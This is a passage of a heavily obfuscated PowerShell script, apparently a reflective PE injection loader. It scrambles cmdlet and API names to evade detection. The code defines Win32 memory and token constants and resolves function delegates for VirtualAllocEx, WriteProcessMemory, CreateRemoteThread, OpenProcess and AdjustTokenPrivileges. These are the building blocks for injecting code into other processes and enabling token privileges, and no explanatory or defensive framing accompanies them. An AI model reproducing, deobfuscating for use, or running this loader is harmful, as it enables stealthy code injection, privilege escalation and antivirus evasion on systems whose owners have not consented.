${t`yP`eBU`iLdeR} = ${MODu`Leb`UiLD`Er}."DeFinet`Y`pE"('TOKEN_PRIVILEGES', ${ATT`RIbU`Tes}, [System.ValueType], 16)
${typEb`UI`L`DER}."de`FI`N`efIEld"('PrivilegeCount', [UInt32], 'Public') | &("{1}{0}{2}" -f'-N','Out','ull')
${tYPEbu`I`l`Der}."DEF`I`N`EFiEld"('Privileges', ${LUID_a`N`D_aT`Tri`BUteS}, 'Public') | &("{0}{2}{1}" -f'Ou','ull','t-N')
${t`oke`N_`PRivIlEgEs} = ${tYpeB`UIld`er}."C`R`eATETyPe"()
${W`iN3`2typ`ES} | &("{2}{0}{1}"-f 'd-','Member','Ad') -MemberType ("{3}{2}{1}{0}" -f 'y','pert','o','NotePr') -Name ("{4}{2}{0}{1}{3}"-f'VI','LE','N_PRI','GES','TOKE') -Value ${t`ok`eN_p`RiviLe`G`eS}
return ${WiN`32T`yP`Es}
}
Function Get-w`iN32`cOn`staNtS
{
${W`i`N32CONSt`ANTs} = &('a') ("{3}{1}{0}{2}" -f'c','stem.Obje','t','Sy')
${WIn3`2`cO`N`sTaNTs} | &("{0}{2}{1}"-f 'Add-M','mber','e') -MemberType ("{1}{3}{0}{2}" -f'ropert','Note','y','P') -Name ("{0}{1}{2}{3}" -f'MEM','_C','OMM','IT') -Value 0x00001000
${W`In32c`o`NstaNTS} | &("{0}{2}{1}"-f 'Add-M','er','emb') -MemberType ("{1}{2}{0}"-f 'perty','No','tePro') -Name ("{1}{2}{0}" -f'SERVE','MEM_','RE') -Value 0x00002000
${w`i`N3`2CON`StANts} | &("{2}{1}{0}" -f'r','embe','Add-M') -MemberType ("{0}{1}{2}"-f'NotePr','oper','ty') -Name ("{3}{1}{2}{0}"-f'CCESS','AGE_NO','A','P') -Value 0x01
${wIN`32CoN`sTa`NTs} | &("{2}{1}{0}" -f 'ber','dd-Mem','A') -MemberType ("{3}{0}{1}{2}"-f'roper','t','y','NoteP') -Name ("{1}{0}{2}" -f 'AGE_READO','P','NLY') -Value 0x02
${win`32c`o`NsTANTs} | &("{2}{1}{0}"-f 'ember','dd-M','A') -MemberType ("{1}{0}{2}"-f'Proper','Note','ty') -Name ("{0}{2}{3}{1}" -f'PAGE','E','_READ','WRIT') -Value 0x04
${Win3`2c`O`NsTAnts} | &("{2}{3}{1}{0}" -f 'er','emb','Add-','M') -MemberType ("{2}{0}{1}" -f'Propert','y','Note') -Name ("{2}{1}{0}" -f'Y','TECOP','PAGE_WRI') -Value 0x08
${Win32C`OnSTaN`Ts} | &("{1}{0}{2}" -f'e','Add-Memb','r') -MemberType ("{1}{2}{3}{0}" -f 'erty','N','ote','Prop') -Name ("{2}{0}{1}"-f 'AGE','_EXECUTE','P') -Value 0x10
${WI`N3`2ConstANTS} | &("{0}{2}{1}" -f 'A','er','dd-Memb') -MemberType ("{0}{3}{1}{2}" -f'N','te','Property','o') -Name ("{1}{0}{3}{2}{4}" -f'G','PA','XEC','E_E','UTE_READ') -Value 0x20
${wIn32C`ons`T`AN`Ts} | &("{0}{1}{2}" -f'Ad','d-Mem','ber') -MemberType ("{1}{2}{0}{3}"-f 'r','NoteProp','e','ty') -Name ("{3}{1}{0}{2}"-f 'CUT','XE','E_READWRITE','PAGE_E') -Value 0x40
${WI`N`32`CoNSt`ANTs} | &("{1}{0}{2}"-f '-Mem','Add','ber') -MemberType ("{0}{1}{2}" -f'Note','Pro','perty') -Name ("{2}{6}{0}{3}{1}{4}{5}" -f'E','E_WRI','PA','CUT','TECO','PY','GE_EX') -Value 0x80
${W`IN32`CON`s`TanTs} | &("{2}{1}{0}"-f'-Member','dd','A') -MemberType ("{2}{0}{1}{3}"-f 'ePr','ope','Not','rty') -Name ("{1}{0}{2}"-f'E_NO','PAG','CACHE') -Value 0x200
${W`in32co`Ns`TAntS} | &("{3}{1}{2}{0}" -f'mber','d-','Me','Ad') -MemberType ("{3}{0}{1}{2}"-f 'tePro','pe','rty','No') -Name ("{4}{2}{6}{5}{1}{0}{3}"-f '_A','ED','AG','BSOLUTE','IM','_BAS','E_REL') -Value 0
${WiN`32co`NsT`A`NtS} | &("{1}{0}{2}"-f 'Me','Add-','mber') -MemberType ("{0}{2}{1}"-f 'No','eProperty','t') -Name ("{1}{4}{2}{5}{3}{0}" -f 'GHLOW','I','AGE_','SED_HI','M','REL_BA') -Value 3
${wIN`3`2`c`ONSTaNTS} | &("{0}{2}{1}" -f'Add','r','-Membe') -MemberType ("{0}{1}{2}" -f 'NotePr','opert','y') -Name ("{4}{1}{0}{3}{2}{5}" -f'GE_','MA','BASED_D','REL_','I','IR64') -Value 10
${w`i`N3`2cONSTAn`TS} | &("{1}{0}{2}" -f 'd','Ad','-Member') -MemberType ("{1}{0}{2}"-f 'P','Note','roperty') -Name ("{7}{3}{6}{0}{2}{5}{4}{1}" -f'_D','LE','IS','MAGE_SCN','RDAB','CA','_MEM','I') -Value 0x02000000
${w`i`N32co`NSta`NTS} | &("{1}{0}{2}"-f 'd','A','d-Member') -MemberType ("{0}{2}{1}{3}" -f 'No','ropert','teP','y') -Name ("{2}{0}{4}{3}{1}"-f'_SCN_','UTE','IMAGE','XEC','MEM_E') -Value 0x20000000
${wIn32Con`S`TA`NtS} | &("{1}{0}{2}"-f'dd-Mem','A','ber') -MemberType ("{0}{1}{2}{3}" -f 'N','oteProper','t','y') -Name ("{0}{4}{1}{2}{3}" -f'IMA','N','_MEM_REA','D','GE_SC') -Value 0x40000000
${w`iN32CON`sTAn`Ts} | &("{1}{2}{0}{3}"-f'mb','Add','-Me','er') -MemberType ("{2}{0}{1}{3}" -f 'o','pert','NotePr','y') -Name ("{0}{3}{5}{4}{1}{2}" -f'IMA','RI','TE','GE_SCN_ME','W','M_') -Value 0x80000000
${WiN32co`Ns`Ta`N`TS} | &("{1}{0}{2}"-f 'mbe','Add-Me','r') -MemberType ("{3}{0}{1}{2}"-f 'ro','p','erty','NoteP') -Name ("{0}{3}{2}{4}{1}"-f'IM','T_CACHED','CN_ME','AGE_S','M_NO') -Value 0x04000000
${W`i`N`32ConstAntS} | &("{0}{1}{2}"-f 'A','dd-Me','mber') -MemberType ("{3}{0}{1}{2}"-f'pe','rt','y','NotePro') -Name ("{3}{0}{2}{1}"-f'E','OMMIT','C','MEM_D') -Value 0x4000
${Win32`ConST`ANtS} | &("{1}{2}{0}" -f 'mber','Add','-Me') -MemberType ("{0}{1}{2}"-f'No','tePr','operty') -Name ("{6}{5}{1}{3}{7}{4}{8}{2}{0}"-f 'E','E_FILE_E','MAG','X','TABL','AG','IM','ECU','E_I') -Value 0x0002
${w`In`32COnSTAn`Ts} | &("{1}{0}{2}" -f '-Memb','Add','er') -MemberType ("{2}{1}{0}"-f'roperty','teP','No') -Name ("{2}{1}{0}{3}" -f '_FILE_DL','AGE','IM','L') -Value 0x2000
${wi`N32cO`Ns`T`ANTS} | &("{2}{0}{1}" -f 'em','ber','Add-M') -MemberType ("{0}{2}{1}{3}" -f 'Not','rt','ePrope','y') -Name ("{0}{2}{6}{7}{5}{1}{3}{4}" -f 'IMAG','M','E','IC_BAS','E','S_DYNA','_DLLC','HARACTERISTIC') -Value 0x40
${Wi`N3`2`cONsta`Nts} | &("{0}{1}{2}"-f'Add','-Memb','er') -MemberType ("{2}{3}{0}{1}" -f'Propert','y','Not','e') -Name ("{10}{0}{2}{7}{3}{4}{5}{8}{6}{9}{1}" -f'E_DLL','AT','CHA','E','RI','S','NX','RACT','TICS_','_COMP','IMAG') -Value 0x100
${w`iN`32CONsTA`NtS} | &("{2}{0}{1}" -f 'Mem','ber','Add-') -MemberType ("{2}{3}{1}{0}"-f'y','pert','Note','Pro') -Name ("{1}{2}{0}{3}"-f 'AS','M','EM_RELE','E') -Value 0x8000
${W`In3`2cONStAn`Ts} | &("{1}{2}{0}"-f 'mber','A','dd-Me') -MemberType ("{3}{2}{1}{0}"-f'rty','Prope','e','Not') -Name ("{0}{1}{2}"-f'T','OKEN_QUER','Y') -Value 0x0008
${WiN32`c`O`N`sTanTs} | &("{1}{0}{2}"-f'dd-Memb','A','er') -MemberType ("{0}{1}{3}{2}" -f'NoteP','r','y','opert') -Name ("{0}{5}{2}{4}{6}{1}{3}"-f 'TOKEN_A','PRIV','J','ILEGES','US','D','T_') -Value 0x0020
${WiN`32CO`NsTa`NtS} | &("{2}{1}{0}" -f'Member','d-','Ad') -MemberType ("{3}{2}{1}{0}" -f 'y','tePropert','o','N') -Name ("{3}{1}{0}{2}{4}" -f'GE','_PRIVILE','_EN','SE','ABLED') -Value 0x2
${wIN32cO`Nsta`Nts} | &("{0}{1}{2}" -f'Add-M','emb','er') -MemberType ("{1}{2}{0}{3}"-f 'ePrope','No','t','rty') -Name ("{4}{0}{1}{2}{3}"-f 'O','_','TOK','EN','ERROR_N') -Value 0x3f0
return ${wi`N`32`COnSTaNTS}
}
Function Get-`WIn3`2f`U`Nc`TionS
{
${W`In`32FuNC`TiONS} = &('a') ("{1}{2}{3}{0}"-f'ect','System.','O','bj')
${vIRt`UA`la`LlOCaDDR} = &("{1}{2}{0}{3}" -f'ocAdd','G','et-Pr','ress') ("{1}{2}{0}" -f '.dll','kernel','32') ("{1}{2}{0}" -f 'lloc','Virtua','lA')
${v`irtUALA`LLOcdel`Ega`TE} = &("{2}{4}{1}{0}{3}"-f'yp','legateT','Get','e','-De') @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
${vir`TUAL`Alloc} = [System.Runtime.InteropServices.Marshal]::"gET`DELegATeF`or`F`UNc`TioNpo`IN`TEr"(${VIr`TUAL`AlloCaD`dR}, ${Vi`Rtu`Alal`LoC`dEleGATe})
${Win32`FUNc`Tio`NS} | &("{1}{2}{0}"-f'r','Ad','d-Membe') ("{1}{2}{0}"-f'teProperty','N','o') -Name ("{0}{1}{2}"-f'Virtu','alAllo','c') -Value ${VIrTU`ALaLL`oC}
${V`irTuaL`ALlOC`eXaD`dr} = &("{3}{2}{1}{0}{4}"-f'd','Ad','et-Proc','G','ress') ("{1}{2}{0}"-f'l32.dll','ke','rne') ("{3}{0}{2}{1}"-f 'i','ocEx','rtualAll','V')
${viRTuaLA`Ll`OC`ExdEL`e`G`ATE} = &("{4}{3}{2}{0}{1}"-f 'yp','e','-DelegateT','et','G') @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
${viR`TUAla`lLoC`Ex} = [System.Runtime.InteropServices.Marshal]::"getDE`l`EgA`TE`Fo`Rfu`NC`TIoNPoinT`ER"(${VIrtUAL`ALl`O`CEX`ADDR}, ${V`I`RTU`ALALlOce`XDElEGatE})
${W`In3`2f`Unct`iOns} | &("{3}{2}{0}{1}" -f'be','r','d-Mem','Ad') ("{2}{0}{3}{1}" -f 'ote','ty','N','Proper') -Name ("{3}{2}{0}{1}"-f'lAll','ocEx','rtua','Vi') -Value ${vIrTual`A`l`l`oCEx}
${Me`M`cPyadDr} = &("{2}{0}{3}{1}"-f 'ocA','dress','Get-Pr','d') ("{1}{0}{2}" -f 'svcrt.d','m','ll') ("{1}{0}" -f 'cpy','mem')
${M`EM`c`PY`DELegAtE} = &("{2}{3}{1}{0}{4}"-f'teTyp','ega','Get-','Del','e') @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
${memc`PY} = [System.Runtime.InteropServices.Marshal]::"G`Et`deleG`AtEF`o`RfuN`cTiOnPoInTeR"(${m`emCpY`AdDr}, ${mEmCPyDE`Le`g`ATe})
${W`IN32fUNc`TIONS} | &("{1}{2}{0}" -f'ber','A','dd-Mem') -MemberType ("{3}{1}{2}{0}"-f 'operty','teP','r','No') -Name ("{1}{0}"-f'y','memcp') -Value ${Mem`c`py}
${M`EMSE`Ta`dDR} = &("{2}{0}{1}{3}" -f'c','Add','Get-Pro','ress') ("{1}{0}{3}{2}" -f'r','msvc','.dll','t') ("{1}{0}" -f 'et','mems')
${M`eMSE`TdEle`g`Ate} = &("{1}{2}{0}{3}" -f 'ga','Get-De','le','teType') @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
${ME`M`seT} = [System.Runtime.InteropServices.Marshal]::"GE`Td`ELE`gaT`EFOrfUnctiOnpoIN`T`ER"(${MEMse`T`AddR}, ${m`E`mSEtdELeG`Ate})
${w`In32FuNc`TI`o`Ns} | &("{1}{2}{0}"-f'mber','Add','-Me') -MemberType ("{1}{0}{2}" -f 'te','No','Property') -Name ("{1}{0}{2}"-f'm','me','set') -Value ${m`em`seT}
${loAdli`BRa`R`yadDr} = &("{2}{3}{1}{0}"-f 's','cAddres','Get-P','ro') ("{0}{1}{3}{2}"-f'ker','nel','2.dll','3') ("{3}{1}{0}{2}"-f 'dLi','oa','braryA','L')
${LOaD`liBR`A`RyDEl`E`G`ATe} = &("{0}{2}{3}{1}" -f'Get-Del','pe','eg','ateTy') @([String]) ([IntPtr])
${LoAdLI`B`Ra`Ry} = [System.Runtime.InteropServices.Marshal]::"GE`T`DelEGATEfO`Rf`Unc`TIoNpoINT`eR"(${lO`AD`Lib`RARy`AdDR}, ${L`oA`dl`IbrAr`y`De`lEGAte})
${win3`2`Fu`N`Ctions} | &("{0}{2}{1}" -f 'Add','ember','-M') -MemberType ("{0}{1}{2}"-f'No','teP','roperty') -Name ("{1}{3}{2}{0}" -f 'brary','Lo','Li','ad') -Value ${LOA`dli`BrAry}
${g`e`TpRocAD`DRe`ss`ADdR} = &("{2}{0}{1}" -f'-ProcAdd','ress','Get') ("{1}{2}{0}" -f'dll','kern','el32.') ("{0}{2}{1}{3}" -f'GetProc','dre','Ad','ss')
${G`etprOc`ADD`RE`ssDele`GA`Te} = &("{0}{3}{1}{2}"-f'Ge','Delegat','eType','t-') @([IntPtr], [String]) ([IntPtr])
${G`E`TPrOCA`dDrEss} = [System.Runtime.InteropServices.Marshal]::"geTdE`Le`G`AT`EfoRfU`NcT`I`ONPOI`NTer"(${GeTp`Ro`cAddrEs`S`AdDr}, ${gETPRo`C`AddresS`DE`l`E`gaTE})
${W`i`N32fUN`ct`iONs} | &("{0}{2}{1}"-f 'A','er','dd-Memb') -MemberType ("{3}{2}{0}{1}"-f'pe','rty','ro','NoteP') -Name ("{1}{3}{0}{2}"-f'dd','GetPro','ress','cA') -Value ${GeT`PR`O`ca`DdRess}
${g`ETPr`OCa`DD`Res`sIntptrad`dr} = &("{3}{0}{2}{1}"-f 'r','dress','ocAd','Get-P') ("{0}{1}{2}" -f'ke','rnel','32.dll') ("{2}{0}{1}"-f'd','ress','GetProcAd')
${getPROc`Ad`drES`sINt`p`Tr`DeLEG`A`Te} = &("{0}{1}{2}" -f'Get-Deleg','at','eType') @([IntPtr], [IntPtr]) ([IntPtr])
${GET`PR`OCAd`D`RessI`NtP`Tr} = [System.Runtime.InteropServices.Marshal]::"GE`TDeleGaT`E`FORFUNc`TI`ONP`oiNter"(${g`ETProcA`DdREsS`IN`TpTRaD`Dr}, ${g`e`T`PR`oc`AddRE`S`siNTpTRdele`GATE})
${wIn3`2fUnC`TIo`Ns} | &("{1}{0}{2}{3}"-f'd-','Ad','M','ember') -MemberType ("{2}{3}{0}{1}" -f 'P','roperty','N','ote') -Name ("{3}{2}{1}{0}{4}"-f 'In','ess','ProcAddr','Get','tPtr') -Value ${geTp`R`O`CaDd`RE`ssIntptR}
${VI`RtU`AlFrEEaD`dr} = &("{2}{3}{1}{0}{4}"-f 'r','Add','Get-Pr','oc','ess') ("{0}{3}{1}{2}" -f 'k','rnel3','2.dll','e') ("{1}{2}{0}"-f'ee','Vi','rtualFr')
${vIR`TU`Alf`ReEd`ELEgA`Te} = &("{3}{2}{0}{1}"-f 'y','pe','eT','Get-Delegat') @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
${V`IrtU`ALFree} = [System.Runtime.InteropServices.Marshal]::"gETD`e`Le`GA`TEF`ORFuNCTioN`pOInteR"(${v`iRtua`L`Fr`EeaDDR}, ${VIr`T`UalFree`dE`le`gatE})
${wI`N`32FU`NctIONS} | &("{2}{1}{0}"-f'er','Memb','Add-') ("{0}{1}{3}{2}"-f'No','te','erty','Prop') -Name ("{0}{3}{2}{1}" -f'V','lFree','ua','irt') -Value ${virt`UaL`FreE}
${v`I`RTua`LfRee`ExaD`dr} = &("{3}{2}{0}{4}{1}"-f'rocAdd','ss','-P','Get','re') ("{1}{2}{0}{3}"-f'l','k','erne','32.dll') ("{1}{3}{4}{2}{0}" -f 'alFreeEx','Vi','u','r','t')
${V`irTUa`lFr`Eee`x`dELegA`Te} = &("{4}{3}{2}{1}{0}"-f'egateType','el','D','-','Get') @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
${vi`Rt`UAlFReEeX} = [System.Runtime.InteropServices.Marshal]::"G`etD`ELE`g`ATeFORfuNC`TI`oNP`OIN`Ter"(${v`Ir`TuA`Lf`ReEexaDdr}, ${VIRTUALF`RE`eeXD`e`lE`gATE})
${w`I`N32FuN`CtIons} | &("{0}{2}{1}"-f 'Add','ber','-Mem') ("{2}{1}{0}" -f 'y','t','NoteProper') -Name ("{0}{1}{2}" -f 'V','irtu','alFreeEx') -Value ${v`irTua`LfrEE`ex}
${V`IRTUAl`PrOt`eC`TAddr} = &("{3}{0}{2}{1}" -f 'cAddr','ss','e','Get-Pro') ("{0}{2}{3}{1}" -f 'ke','dll','rnel','32.') ("{2}{1}{0}"-f'ect','irtualProt','V')
${virtUAL`proTeCTdE`lEg`A`TE} = &("{4}{1}{3}{2}{0}"-f'Type','le','ate','g','Get-De') @([IntPtr], [UIntPtr], [UInt32], [UInt32]."m`A`Keby`ReF`TyPe"()) ([Bool])
${vi`Ss} = [System.Runtime.InteropServices.Marshal]::"g`ETde`leGaTE`FoRF`Un`CTiOnPO`iNter"(${v`Ir`TUAl`PRoTEcTa`D`DR}, ${V`i`Rtual`PrOtEcTD`e`LeGAtE})
${w`IN`32FUn`CTIO`NS} | &("{1}{0}{2}"-f 'dd-Me','A','mber') ("{3}{2}{1}{0}" -f 'ty','per','o','NotePr') -Name ("{1}{3}{0}{2}" -f'Pr','Vi','otect','rtual') -Value ${v`isS}
${getMODULeHaN`d`L`Ead`DR} = &("{1}{2}{4}{0}{3}"-f'Addres','G','et','s','-Proc') ("{0}{2}{1}"-f'ke','l32.dll','rne') ("{0}{2}{4}{1}{3}"-f 'GetM','ndl','odu','eA','leHa')
${GET`MOD`Ul`eHaNDl`EdelegaTE} = &("{0}{1}{2}{3}" -f 'G','et','-Delega','teType') @([String]) ([IntPtr])
${gETModu`LeHa`Nd`LE} = [System.Runtime.InteropServices.Marshal]::"GEtdE`lEGatEFoRFUnc`T`I`ONPOi`N`TeR"(${gEtmodu`lEh`AnD`l`EAdDr}, ${geT`MoD`UleHa`NDLedElEG`AtE})
${wIn`32FUNCT`I`Ons} | &("{2}{1}{0}"-f 'Member','dd-','A') ("{2}{1}{0}"-f 'y','Propert','Note') -Name ("{2}{3}{0}{1}" -f'ule','Handle','G','etMod') -Value ${Ge`Tm`odu`lEhA`NDLe}
${f`R`eELIb`Rar`yAdDR} = &("{2}{3}{1}{0}"-f 'ess','ProcAddr','Ge','t-') ("{2}{1}{0}"-f'dll','nel32.','ker') ("{1}{2}{0}"-f 'ibrary','Fre','eL')
${fR`EeLibRA`RYdE`LeG`AtE} = &("{3}{2}{0}{1}{4}" -f'eleg','ateTyp','t-D','Ge','e') @([IntPtr]) ([Bool])
${FREeLi`B`RARY} = [System.Runtime.InteropServices.Marshal]::"GET`d`ELeGatefo`RF`U`NCtiO`NPoInter"(${F`R`eE`lIBraRYadDr}, ${Fre`ElibRA`RYDe`LE`gaTe})
${wIN32FU`N`cT`IonS} | &("{1}{2}{0}" -f 'mber','Add-M','e') -MemberType ("{2}{1}{0}{3}"-f'ert','rop','NoteP','y') -Name ("{3}{1}{2}{0}"-f'y','ree','Librar','F') -Value ${F`REEl`iB`RARY}
${O`P`En`PrOcE`SSadDR} = &("{1}{3}{0}{2}"-f 'ddres','Get-P','s','rocA') ("{1}{0}{3}{2}" -f 'e','k','l32.dll','rne') ("{3}{2}{1}{0}" -f 'ess','oc','r','OpenP')
${Op`ENpRo`CeSsDE`l`EG`Ate} = &("{0}{3}{4}{1}{2}"-f'Get','gateT','ype','-','Dele') @([UInt32], [Bool], [UInt32]) ([IntPtr])
${oP`eNp`ROcESS} = [System.Runtime.InteropServices.Marshal]::"G`ET`DeLegATeF`ORfUN`C`Ti`ONPoIntER"(${oPe`NPROce`SSa`ddr}, ${o`PenpR`OCe`ssdEL`egatE})
${wIn32fU`Nc`TIONs} | &("{0}{1}{2}" -f 'Add-M','em','ber') -MemberType ("{3}{0}{2}{1}"-f'otePr','ty','oper','N') -Name ("{1}{3}{0}{2}" -f 'ce','O','ss','penPro') -Value ${OpEn`PR`Oc`eSs}
${WaItFoRs`ing`LEo`B`JE`CtadDR} = &("{2}{3}{1}{4}{0}"-f 'ss','c','Ge','t-Pro','Addre') ("{0}{2}{3}{1}"-f 'k','el32.dll','er','n') ("{3}{1}{4}{5}{2}{0}"-f'ect','itFor','Obj','Wa','Si','ngle')
${WaITFOrS`iNGlEOb`Je`CtdEL`eg`Ate} = &("{4}{3}{1}{0}{2}" -f 'ega','l','teType','De','Get-') @([IntPtr], [UInt32]) ([UInt32])
${w`A`iTFO`RSi`Ngle`o`BJECT} = [System.Runtime.InteropServices.Marshal]::"GetDe`le`GATEFo`Rf`UNC`TioNPOIn`TeR"(${wa`itFor`S`I`NGlEOBJE`CtaddR}, ${Waitfo`RSINGleoB`jE`CtDeLe`g`ATE})
${WiN32fUn`CTI`Ons} | &("{1}{2}{0}"-f 'r','Add-M','embe') -MemberType ("{1}{0}{2}"-f 'pert','NotePro','y') -Name ("{3}{0}{2}{1}"-f'rSin','ject','gleOb','WaitFo') -Value ${wA`iTfOrS`i`N`glEO`B`jECt}
${wr`it`EpROc`Essm`EMorY`ADDR} = &("{3}{1}{2}{0}" -f 'ddress','t-','ProcA','Ge') ("{2}{1}{0}" -f'l','.dl','kernel32') ("{1}{3}{2}{0}{5}{4}"-f'm','W','teProcessMe','ri','y','or')
${WRiTEpR`oces`SmemorYdeLE`g`A`Te} = &("{2}{3}{0}{1}" -f 'p','e','Get-Delegat','eTy') @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr]."MaKeb`yREfT`Ype"()) ([Bool])
${dfv`yy} = [System.Runtime.InteropServices.Marshal]::"GetDELEgatEf`ORf`Un`c`T`IOnPoINter"(${w`Ri`Tep`ROcEssmemOr`yADDr}, ${W`RI`TEP`Ro`ceSSMEmo`RY`DEleGa`Te})
${W`IN32fUNC`TIoNS} | &("{2}{1}{0}" -f 'd-Member','d','A') -MemberType ("{2}{1}{0}{3}" -f 'tePro','o','N','perty') -Name ("{2}{5}{0}{3}{4}{1}" -f'ite','emory','W','Process','M','r') -Value ${D`FVyy}
${reaDpROc`e`Ss`MEMo`R`y`AdDr} = &("{3}{0}{1}{2}{4}"-f 'oc','A','ddr','Get-Pr','ess') ("{3}{0}{1}{2}"-f'l32.','dl','l','kerne') ("{5}{4}{0}{1}{2}{3}" -f'ce','ssM','emo','ry','dPro','Rea')
${rEa`dP`RoC`EsSm`EmOrY`d`E`LEGate} = &("{3}{1}{4}{0}{2}" -f'a','ele','teType','Get-D','g') @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr]."mAK`Ebyr`eftYPe"()) ([Bool])
${R`Eadp`ROC`EssME`Mory} = [System.Runtime.InteropServices.Marshal]::"GETdELeg`ATEfOrf`UN`cTI`OnPO`InteR"(${reAdPR`OcEssm`EM`OrYAdDr}, ${ReAd`P`R`oCeSS`m`EmORyDELeg`AtE})
${wIn32f`UNc`T`I`ons} | &("{3}{2}{1}{0}" -f'ember','d-M','d','A') -MemberType ("{0}{2}{1}{3}"-f'Note','o','Pr','perty') -Name ("{2}{5}{1}{0}{3}{4}" -f'm','ProcessMe','Rea','o','ry','d') -Value ${Rea`dPrO`c`es`sMEmoRY}
${cRE`A`TeremotET`H`READaD`dR} = &("{3}{0}{2}{1}" -f 'et-','ddress','ProcA','G') ("{1}{3}{0}{2}" -f'n','ke','el32.dll','r') ("{0}{3}{1}{2}{4}"-f 'Cr','eRemo','teT','eat','hread')
${C`REaTer`eMot`Et`h`Re`A`DDeLegAtE} = &("{2}{0}{1}{3}"-f 'lega','teTyp','Get-De','e') @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
${Cr`eAt`ER`E`MOT`etHrEAD} = [System.Runtime.InteropServices.Marshal]::"gE`TDElegAtEFo`RfuNc`TionP`oi`NtER"(${cR`E`ATERemOTETh`R`e`AD`ADdR}, ${cReatERe`M`o`TeTH`ReAdD`e`le`ga`Te})
${w`iN3`2`FUNCTioNS} | &("{2}{3}{1}{0}"-f'er','b','Add-Me','m') -MemberType ("{0}{3}{1}{2}"-f'NoteP','op','erty','r') -Name ("{4}{0}{2}{3}{1}"-f 'a','hread','teRemot','eT','Cre') -Value ${cReaTERe`mot`ET`hRE`AD}
${ge`T`e`XITC`o`deTHREadaddr} = &("{1}{0}{3}{2}"-f'd','Get-ProcA','ess','dr') ("{0}{2}{1}"-f 'kernel32','ll','.d') ("{1}{2}{0}{3}"-f'r','GetExi','tCodeTh','ead')
${gEt`EXI`T`c`ODe`TH`REaDdEleGAtE} = &("{2}{0}{1}{3}" -f'egate','T','Get-Del','ype') @([IntPtr], [Int32]."M`AKE`By`ReFtYPE"()) ([Bool])
${GE`Te`XItCODe`ThreAD} = [System.Runtime.InteropServices.Marshal]::"gE`TDeL`eG`ATEfOrfUN`ctiOnpoI`NtER"(${geTEXi`TCodE`THREA`DAddr}, ${GE`T`exitCODE`Th`REadDEL`eGA`Te})
${wI`N32`F`UnctIO`NS} | &("{0}{1}{2}" -f 'A','d','d-Member') -MemberType ("{3}{1}{0}{2}"-f'ope','r','rty','NoteP') -Name ("{0}{1}{2}{3}{4}"-f 'Ge','tE','xit','CodeT','hread') -Value ${GeTEXiTc`ode`T`HrEAd}
${o`pEN`Th`REad`TOKEN`ADdr} = &("{1}{2}{3}{4}{0}" -f 's','Ge','t-Pr','ocAddr','es') ("{0}{3}{1}{2}" -f'A','v','api32.dll','d') ("{3}{1}{0}{2}"-f 'read','nTh','Token','Ope')
${o`p`E`NthrEaD`TOKende`leGATE} = &("{3}{0}{2}{1}"-f'eleg','eType','at','Get-D') @([IntPtr], [UInt32], [Bool], [IntPtr]."ma`KeBY`R`eFty`pe"()) ([Bool])
${Ope`Nt`HRE`AD`TOkEn} = [System.Runtime.InteropServices.Marshal]::"GeT`D`e`legaTe`FORFUN`cTi`O`NPo`IntER"(${OpEn`Th`Rea`d`T`oK`eNADdr}, ${oP`en`T`hr`eAd`TOkeNdeL`EgATE})
${wIN32FU`N`CtIoNs} | &("{2}{0}{1}"-f'-Mem','ber','Add') -MemberType ("{1}{3}{0}{2}" -f'pert','Note','y','Pro') -Name ("{0}{2}{3}{4}{1}" -f'O','en','penT','hread','Tok') -Value ${OpEnT`Hr`eaD`ToKen}
${G`e`TCurR`ENT`THrEAdaDDr} = &("{2}{4}{3}{0}{1}" -f'dres','s','Get','cAd','-Pro') ("{2}{1}{0}{3}" -f '2.','rnel3','ke','dll') ("{4}{0}{1}{3}{2}"-f'Curren','tT','read','h','Get')
${GE`T`CUrr`e`N`TTHREAD`dELe`GatE} = &("{4}{1}{0}{3}{2}{5}"-f 'e','et-D','teTyp','lega','G','e') @() ([IntPtr])
${GE`TCUrr`enTthRE`AD} = [System.Runtime.InteropServices.Marshal]::"GET`d`E`Le`GAtEfoRF`Unc`TiOnPO`INTeR"(${g`EtCurreNt`Th`ReadaDdR}, ${GEtcUr`R`ENTth`Read`d`eLe`G`Ate})
${wIn32FU`N`c`TIonS} | &("{2}{0}{1}"-f 'd','d-Member','A') -MemberType ("{1}{2}{3}{0}"-f 'rty','Note','Prop','e') -Name ("{0}{3}{1}{4}{2}" -f 'GetCurre','h','ad','ntT','re') -Value ${gEt`Cu`R`ReNTTH`R`eaD}
${AD`j`UstToKe`N`PRIVI`leg`E`SaDDr} = &("{1}{2}{3}{4}{0}"-f's','Ge','t','-Pro','cAddres') ("{2}{0}{1}" -f 'va','pi32.dll','Ad') ("{5}{4}{1}{0}{2}{3}"-f 'oken','T','Privi','leges','t','Adjus')
${ADJuSTto`KENpr`iV`Ilegesd`EleGaTe} = &("{2}{3}{0}{1}"-f 'ateTyp','e','Get-De','leg') @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
${Adj`U`sTtoK`eNpR`IvIlEgEs} = [System.Runtime.InteropServices.Marshal]::"gETd`El`Ega`TEF`ORF`Un`cTIONpOIN`T`eR"(${ADJUstTO`K`En`PRivILeGES`AdDR}, ${ad`j`Usttok`e`NP`RIvilEgeSD`EL`EGa`Te})
${wIN32f`UN`cTIoNS} | &("{2}{0}{1}" -f '-Mem','ber','Add') -MemberType ("{2}{1}{0}"-f 'y','ropert','NoteP') -Name ("{0}{5}{4}{6}{3}{2}{1}"-f'Adj','s','ege','ivil','ken','ustTo','Pr') -Value ${A`DjUStT`OKENprI`Vi`L`egES}
${LO`o`kuppriviLE`ge`Va`LUe`ADDr} = &("{3}{0}{1}{2}" -f 'ProcAddr','es','s','Get-') ("{0}{2}{1}"-f 'Advapi32','dll','.') ("{1}{3}{0}{2}"-f 'rivilegeV','Loo','alueA','kupP')
${LOO`k`Up`PRI`VilE`geVal`UeDelEGatE} = &("{1}{0}{3}{2}"-f't-','Ge','elegateType','D') @([String], [String], [IntPtr]) ([Bool])
